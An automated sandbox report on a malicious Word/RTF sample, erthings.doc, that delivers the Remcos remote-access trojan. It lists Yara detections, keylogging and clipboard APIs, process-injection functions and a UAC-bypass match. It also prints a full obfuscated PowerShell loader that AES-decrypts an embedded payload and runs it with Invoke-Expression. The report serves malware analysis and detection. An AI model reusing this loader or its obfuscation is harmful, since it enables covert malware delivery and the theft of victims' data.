              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,10_2_004098E2
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,11_2_00406DFC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,11_2_00406E9F
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,12_2_004068B5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,12_2_004072B5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,8_2_0040B70E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,8_2_0040A3E0

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: erthings.doc, type: SAMPLEMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 6.2.powershell.exe.444d080.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 6.2.powershell.exe.444d080.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
              Source: Process Memory Space: RegAsm.exe PID: 3264, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPEDMatched rule: detects CVE-2017-8759 weaponized RTF documents. Author: ditekSHen
              Very long command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116Jump to behavior
              Windows Scripting host queries suspicious COM object (likely to drop second stage)
              Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
              Wscript starts Powershell (via cmd or directly)
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess Stats: CPU usage > 49%
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,8_2_004180EF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,8_2_004132D2
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,8_2_0041BB09
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,8_2_0041BB35
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,10_2_0040DD85
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00401806 NtdllDefWindowProc_W,10_2_00401806
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_004018C0 NtdllDefWindowProc_W,10_2_004018C0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004016FD NtdllDefWindowProc_A,11_2_004016FD
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004017B7 NtdllDefWindowProc_A,11_2_004017B7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00402CAC NtdllDefWindowProc_A,12_2_00402CAC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00402D66 NtdllDefWindowProc_A,12_2_00402D66
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,8_2_004167B4
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_002596696_2_00259669
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E0CC8_2_0043E0CC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041F0FA8_2_0041F0FA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004541598_2_00454159
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004381688_2_00438168
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004461F08_2_004461F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E2FB8_2_0043E2FB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0045332B8_2_0045332B
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0042739D8_2_0042739D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004374E68_2_004374E6
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043E5588_2_0043E558
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004387708_2_00438770
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004378FE8_2_004378FE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004339468_2_00433946
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044D9C98_2_0044D9C9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00427A468_2_00427A46
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041DB628_2_0041DB62
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00427BAF8_2_00427BAF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00437D338_2_00437D33
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00435E5E8_2_00435E5E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00426E0E8_2_00426E0E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043DE9D8_2_0043DE9D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00413FCA8_2_00413FCA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00436FEA8_2_00436FEA
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_100171948_2_10017194
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1000B5C18_2_1000B5C1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044B04010_2_0044B040
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0043610D10_2_0043610D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044731010_2_00447310
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044A49010_2_0044A490
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040755A10_2_0040755A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0043C56010_2_0043C560
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044B61010_2_0044B610
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044D6C010_2_0044D6C0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_004476F010_2_004476F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044B87010_2_0044B870
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044081D10_2_0044081D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0041495710_2_00414957
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_004079EE10_2_004079EE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00407AEB10_2_00407AEB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044AA8010_2_0044AA80
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00412AA910_2_00412AA9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00404B7410_2_00404B74
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00404B0310_2_00404B03
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0044BBD810_2_0044BBD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00404BE510_2_00404BE5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00404C7610_2_00404C76
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00415CFE10_2_00415CFE
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00416D7210_2_00416D72
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00446D3010_2_00446D30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00446D8B10_2_00446D8B
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00406E8F10_2_00406E8F
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0040503811_2_00405038
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0041208C11_2_0041208C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004050A911_2_004050A9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0040511A11_2_0040511A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0043C13A11_2_0043C13A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004051AB11_2_004051AB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0044930011_2_00449300
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0040D32211_2_0040D322
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0044A4F011_2_0044A4F0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0043A5AB11_2_0043A5AB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0041363111_2_00413631
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0044669011_2_00446690
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0044A73011_2_0044A730
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004398D811_2_004398D8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_004498E011_2_004498E0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0044A88611_2_0044A886
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0043DA0911_2_0043DA09
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00438D5E11_2_00438D5E
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00449ED011_2_00449ED0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_0041FE8311_2_0041FE83
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00430F5411_2_00430F54
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004050C212_2_004050C2
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004014AB12_2_004014AB
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040513312_2_00405133
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004051A412_2_004051A4
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040124612_2_00401246
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040CA4612_2_0040CA46
